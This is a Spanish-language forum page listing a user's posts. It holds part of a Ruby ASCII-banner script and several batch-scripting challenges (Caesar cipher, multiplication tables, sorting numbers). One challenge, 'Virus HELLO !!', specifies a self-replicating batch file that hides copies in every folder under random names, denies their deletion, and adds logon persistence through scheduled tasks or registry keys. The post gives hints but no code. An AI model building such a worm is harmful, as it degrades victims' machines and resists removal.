  28. S%%%S SSSSS S%%%S SSSSS S%%%S SSSSS S%%%S SSSS' S%%%S SSSSS S%%%S       S%%%S SSSSS S%%%S SSSSS S%%%S SSSSS S%%%S S%%%S  SSSSS  S%%%S SSSSS S%%%S       SSSSS S%%%S    SSSSS S%%%S SSSSS S%%%S       S%%%S SSSSS  S%%%S SSSSS S%%%S SSSSS       S%%%S       S%%%S SSSSS    SS SS    S%%%S  SSS  SSSSS S%%%S SSSSS    S%%%S    S%%%SSSSSSS                         S%%%S S%%%S S%%%S S%%%S         S%%%S    S%%%S    S%%%S SSSSS   S%%%S   S%%%S SSSSS .SSSS S%%%S       SSSSS S%%%S SSSSS S%%%S SSSSS S%%%S       S%%%S SSSSS S%%%S SSSSS
  29. SSSSS SSSSS SSSSSsSSSS' SSSSSsSSSSS SSSSSsS;:'  SSSSSsSS;:' SSSSS       SSSSSsSSSSS SSSSS SSSSS SSSSS `:;SSsSSSSS SSSSS   SSSSS SSSSSsSS;:' SSSSS       SSSSS SSSSS    SSSSS SSSSSsSSSSS SSSSS       SSSSSsSSSSss SSSSS SSSSS SSSSSsSSSSS       SSSSS       SSSSSsSSSSS     SsS     SSSSSsSS SSsSSSSS SSSSS SSSSS    SSSSS    SSSSSSSSSSS                         `\"\":5 `\"\":5 `:;:' `:;:'         `:;:'    `:;:'    `:;SSsSS;:' SsSSSSSsS SSSSSsSSSSS `:;SSsSSSSS       SSSSS `:;SSsSS;:' `:;SSsSS;:' SSSSS       `:;SSsSS;:' `:;SSsSS;:'
  30.                                                                                                                                                                                                                                                                                                                                                                    ;:'   ;:'                                                                                                                                                            
  31. "
  32. amcneko_chars = {
  33.  :' ' => ' ',
  34.  :a => 0..11, :b => 12..23, :c => 24..35, :d => 36..47, :e => 48..59, :f => 60..71, :g => 72..83, :h => 84..95, :i => 96..101, :j => 102..113, :k => 114..127, :l => 128..140, :m => 140..157, :n => 158..172, :o => 173..184, :p => 185..196, :q => 197..209, :r => 210..221, :s => 222..234, :t => 235..251, :u => 252..263, :v => 264..275, :w => 276..293, :x => 294..305, :y => 306..317, :z => 318..329,
  35.  :A => 0..11, :B => 12..23, :C => 24..35, :D => 36..47, :E => 48..59, :F => 60..71, :G => 72..83, :H => 84..95, :I => 96..101, :J => 102..113, :K => 114..127, :L => 128..140, :M => 140..157, :N => 158..172, :O => 173..184, :P => 185..196, :Q => 197..209, :R => 210..221, :S => 222..234, :T => 235..251, :U => 252..263, :V => 264..275, :W => 276..293, :X => 294..305, :Y => 306..317, :Z => 318..329,
  36.  :< => 330..341, :> => 342..353, :';' => 354..359, :',' => 360..365, :':' => 366..371, :'.' => 372..377, :- => 378..385, :'!' => 386..391, :'?' => 392..403,
  37.  :'0' => 404..415, :'1' => 416..425, :'2' => 426..437, :'3' => 438..449, :'4' => 450..461, :'5' => 462..473, :'6' => 474..485, :'7' => 486..497, :'8' => 498..509, :'9' => 510..521
  38. }
  39.  
  40. banner3d = "
  41. :::'###::::'########:::'######::'########::'########:'########::'######:::'##::::'##:'####:::::::'##:'##:::'##:'##:::::::'##::::'##:'##::: ##::'#######::'########:::'#######::'########:::'######::'########:'##::::'##:'##::::'##:'##:::::'##:'##::::'##:'##:::'##:'########::::'##:'##::::'####::::::::'##:::::::::::::::::::::::::::'###:::'######:'######:::'####:'####:::::::::::'####:'####'####::'########::'#####::'##:::::'####::::::::::'##:::'###:'###:::::::::::'#######::'##:::::::'##::'#######::::'##'##::::'####::::::'####::::::::::::::'#####::::::'##::::'#######:::'#######::'##::::::::'########::'#######::'########::'#######:::'#######::
  42. ::'## ##::: ##.... ##:'##... ##: ##.... ##: ##.....:: ##.....::'##... ##:: ##:::: ##:. ##:::::::: ##: ##::'##:: ##::::::: ###::'###: ###:: ##:'##.... ##: ##.... ##:'##.... ##: ##.... ##:'##... ##:... ##..:: ##:::: ##: ##:::: ##: ##:'##: ##:. ##::'##::. ##:'##::..... ##::::'##::. ##::: ####:::::::'####:::::::::::::::::::::::::'## ##:: ##...::.... ##::'##..::... ##::::'##::: ####: #### ####:'##. ##. ##: ## ##:'##:::::'##. ##::::::::'##:::'##:::.. ##:::::::::'##.... ##:. ##:::::: ##:'##.... ##::: ## ##:::'##  ##:'##: ####::'##::'##:::'##.. ##:::'####:::'##.... ##:'##.... ##: ##:::'##:: ##.....::'##.... ##: ##..  ##:'##.... ##:'##.... ##:
  43. :'##:. ##:: ##:::: ##: ##:::..:: ##:::: ##: ##::::::: ##::::::: ##:::..::: ##:::: ##:: ##:::::::: ##: ##:'##::: ##::::::: ####'####: ####: ##: ##:::: ##: ##:::: ##: ##:::: ##: ##:::: ##: ##:::..::::: ##:::: ##:::: ##: ##:::: ##: ##: ##: ##::. ##'##::::. ####::::::: ##::::'##::::. ##::....::::::::. ##:::::::::::::::::::::::::'##:. ##: ##::::::::: ##:: ##::::::: ##:::: ##::: ####:. ##:. ##:: ##: ##:..:: #####'##::::::. ####::::::::'##:::'##::::::: ##:'#####:..:::: ##:::. ##::::: ##: ##'### ##:'#########:..::. ####::. ##:::. ##'##:::'##:::: ##::.. ##:::..::::: ##:..::::: ##: ##::: ##:: ##::::::: ##::::..::..:: ##::: ##:::: ##: ##:::: ##:
  44. '##:::. ##: ########:: ##::::::: ##:::: ##: ######::: ######::: ##::'####: #########:: ##:::::::: ##: #####:::: ##::::::: ## ### ##: ## ## ##: ##:::: ##: ########:: ##:::: ##: ########::. ######::::: ##:::: ##:::: ##: ##:::: ##: ##: ##: ##:::. ###::::::. ##::::::: ##::::'##::::::. ##:'####:'####::..::::::::'#######::::::::::..:::..:: ##::::::::: ##:'###::::::: ###:'######:: ##:::..:::..:::. ########::.....'##:::::::'####::::::::'##:::: ##::::::: ##:.....:::::: ###:::::. ##::::..:: ## ### ##:.. ## ##.:::::::....::::. ##:'#########: ##:::: ##:::: ##::::'#######:::'#######:: ##::: ##:: #######:: ########::::: ##::::: #######::: ########:
  45. #########: ##.... ##: ##::::::: ##:::: ##: ##...:::: ##...:::: ##::: ##:: ##.... ##:: ##::'##::: ##: ##. ##::: ##::::::: ##. #: ##: ##. ####: ##:::: ##: ##.....::: ##:'## ##: ##.. ##::::..... ##:::: ##:::: ##:::: ##:. ##:: ##:: ##: ##: ##::: ## ##:::::: ##:::::: ##:::::. ##::::: ##:: ####: ####::'##:::::::........::::::::::::::::::: ##::::::::: ##:. ##::::::: ##::.. ##.:::..:::::::::::::::... ##. ##:::::'##'#####:'##. ##'##:::'##::::: ##::::::: ##:'#####:::: ##.:::::::. ##:::'##: ## #####::'#########:::::::::::::::..::.. ## ##.:: ##:::: ##:::: ##:::'##:::::::::...... ##: #########:...... ##: ##.... ##::: ##:::::'##.... ##::...... ##:
  46. ##.... ##: ##:::: ##: ##::: ##: ##:::: ##: ##::::::: ##::::::: ##::: ##:: ##:::: ##:: ##:: ##::: ##: ##:. ##:: ##::::::: ##:.:: ##: ##:. ###: ##:::: ##: ##:::::::: ##:.. ##:: ##::. ##::'##::: ##:::: ##:::: ##:::: ##::. ## ##::: ##: ##: ##:: ##:. ##::::: ##::::: ##:::::::. ##::: ##:::. ##::. ##::'####:'###:::::::::::::::::::::::::::: ##::::::::: ##:: ##::::::: ##:::: ##:::'####::::::::::::'##: ##: ##::::'##: ## ##: ##:. ##::::'##::::::. ##::::: ##::.....:::::..::::::::::. ##:: ##: ##.....:::.. ## ##.::::::::::::::::::::: ##:. ##::. ##:: ##::::: ##::: ##::::::::'##:::: ##:...... ##::'##::: ##: ##:::: ##::: ##::::: ##:::: ##:'##:::: ##:
  47. ##:::: ##: ########::. ######:: ########:: ########: ##:::::::. ######::: ##:::: ##:'####:. ######:: ##::. ##: ########: ##:::: ##: ##::. ##:. #######:: ##::::::::. ##### ##: ##:::. ##:. ######::::: ##::::. #######::::. ###::::. ###. ###:: ##:::. ##:::: ##:::: ########:::. ##: ##:::: ##:::'##:::. ##:: ###::::::::::'#######:::::::::: ######:'######::. ####:'####:::::..:::: ####::::::::::::. ########::::'##:: #####:. ####. ##:'##::::::::. ###: ###:::::::::::::'##::::::::::. ##: ##:. #######:::: ## ##::::::::::::::::::::::..:::..::::. #####::::'######: #########:. #######:::::::: ##::. ######::. #######:::: ##:::::. #######::. #######::
  48. ..:::::..::........::::......:::........:::........::..:::::::::......::::..:::::..::....:::......:::..::::..::........::..:::::..::..::::..:::.......:::..::::::::::.....:..::..:::::..:::......::::::..::::::.......::::::...::::::...::...:::..:::::..:::::..:::::........:::::..::..:::::.:::::..:::::..:::...:::::::::::.......:::::::::::......::......:::::...::....::::::::::::....::::::::::::::........:::::..:::.....:::....::..::..::::::::::...::...::::::::::::::..::::::::::::..::..:::.......:::::..:..:::::::::::::::::::::::::::::::::::.....:::::......::.........:::.......:::::::::..::::......::::.......:::::..:::::::.......::::.......:::
  49. "
  50. banner3d_chars = {
  51.  :' ' => ' ',
  52.  :a => 0..10, :b => 11..21, :c => 22..31, :d => 32..42, :e => 43..52, :f => 53..62, :g => 63..73, :h => 74..84, :i => 85..90, :j => 91..100, :k => 101..110, :l => 111..120, :m => 121..131, :n => 132..141, :o => 142..152, :p => 153..163, :q => 164..174, :r => 175..185, :s => 186..195, :t => 196..205, :u => 206..216, :v => 217..227, :w => 228..239, :x => 240..250, :y => 251..260, :z => 261..270,
  53.  :A => 0..10, :B => 11..21, :C => 22..31, :D => 32..42, :E => 43..52, :F => 53..62, :G => 63..73, :H => 74..84, :I => 85..90, :J => 91..100, :K => 101..110, :L => 111..120, :M => 121..131, :N => 132..141, :O => 142..152, :P => 153..163, :Q => 164..174, :R => 175..185, :S => 186..195, :T => 196..205, :U => 206..216, :V => 217..227, :W => 228..239, :X => 240..250, :Y => 251..260, :Z => 261..270,
  54.  :< => 271..277, :> => 278..284, :';' => 285..290, :',' => 291..296, :':' => 297..302, :'.' => 303..307, :- => 308..316, :_ => 317..325, :'^' => 326..334, :'[' => 335..342, :']' => 343..350, :'{' => 351..358, :'}' => 359..366, :+ => 367..374, :'!' => 375..380, :'"' => 381..391, :'$' => 392..403, :% => 404..417, :& => 418..428, :/ => 429..438, :'(' => 439..445, :')' => 446..452, :'=' => 453..459, :'?' => 460..470, :'\\' => 471..480, :| => 481..484, :'@' => 485..495, :'#' => 496..506, :~ => 507..518, :` => 519..524, :* => 525..535,
  55.  :'0' => 536..546, :'1' => 548..555, :'2' => 556..566, :'3' => 567..577, :'4' => 578..588, :'5' => 589..598, :'6' => 599..609, :'7' => 610..619, :'8' => 620..630, :'9' => 631..641
  56.  
  57. string = 'Elektro   Hacker'
  58.  
  59. # ... más código abajo
  60.  
906  Programación / Scripting / MOVIDO: Identificar directorios en: 23 Mayo 2012, 07:45 am
El tema ha sido movido a Programación General.

http://foro.elhacker.net/index.php?topic=362470.0
907  Programación / Scripting / [Reto Batch] VIRUS HELLO !! en: 9 Mayo 2012, 15:19 pm
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 13

Nombre:           Virus HELLO !! (Elektro H@cker)
Dificultad:         5/10
Objetivo:          Crea un bat que cumpla estas funciones:

  • El bat se debe autocopiar a si mismo en TODAS las carpetas y subcarpetas del PC.
  • Cada vez que se crea una copia, La copia debe tener un nombre distinto al Bat original, Un nombre aleatorio, Para que séa más dificil de localizar las copias y eliminarlas.
  • Cada copia debe tener el atributo de archivo OCULTO y SOLO LECTURA
  • Cada copia debe tener los privilegios de usuario DENEGADOS A LA ELIMINACIÓN para impedir que el archivo se elimine facilmente.
  • Se debe crear una taréa programada o una clave de registro en el sistema que ejecute CADA COPIA al iniciar sesión en la cuenta de ese usuario.
  • Cada copia solamente debe mostrar un mensaje de ECHO **** y el comando Pause, NO DEBE VOLVER A AUTOCOPIARSE cuando se ejecute la taréa.

- Con lo cual nos quedará un bonito inicio de sesión :D que ejecutará unas +15.000 copias de un bat dificil de borrar para un usuario novato.
PD: La intención de este reto es que aprendan a usar comandos muy importantes!.

Indicaciones:   Las carpetas que necesiten privilegios de admin no tiene importancia.
Pistas:              Comandos: SET /?, FOR /? /?, SCHT???S, REG ???, A??RIB, ?CACLS, ????OWN.
Ejemplo:
                              
Solución:         Pedir por mensaje privado
908  Programación / Scripting / [Reto Batch] cifrado caesar en: 6 Mayo 2012, 13:11 pm
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 10

Nombre:           Cifrado Caesar (Elektro H@cker)
Dificultad:        7/10
Objetivo:         Crea un bat que pida una palabra/frase, En fin, Texto. Y séa capaz de encriptarlo Y DESENCRIPTARLO por el método CAESAR de deslizamiento de caracteres.
Indicaciones:   El bat debe tener una opción para definir el shift del cifrado, Es decir, El número de veces que se deslizará cada caracter hacia la derecha.
 
Ejemplo:
                              
Solución:         Pedir por mensaje privado
909  Programación / Scripting / [Reto Batch] Tablas de multiplicar en: 6 Mayo 2012, 07:09 am
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 9

Nombre:           Tablas de multiplicar (Elektro H@cker)
Dificultad:        3/10
Objetivo:         Genera las tablas de multiplicacar del 1 al 9 (1x1 es 1, 1x2 es 2, etc... Ya todos sabemos xD)
Indicaciones:   No hacer trampa!, Esto no me sirve:
Código
  1. Set "tabla_del_1=1 2 3 4 5 6 7 8 9"
  2. Echo La tabla del 1 es: %tabla_del_1%

Ejemplo:
                        
Solución:         Pedir por mensaje privado
910  Programación / Scripting / [Reto Batch] Sort random nums en: 5 Mayo 2012, 17:04 pm
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:


Reto Nº 7

Nombre:           Sort random nums (Elektro H@cker)
Dificultad:        3/10
Objetivo:         Un bat que genere una lista de 20 números aleatorios, de 3 cifras, Y muestre el resultado ordenado.
Ejemplo:
                        
Solución:         Pedir por mensaje privado
Páginas: 1 ... 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 [91] 92 93 94 95 96 97 98 99 100 101 102 103 104 105
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines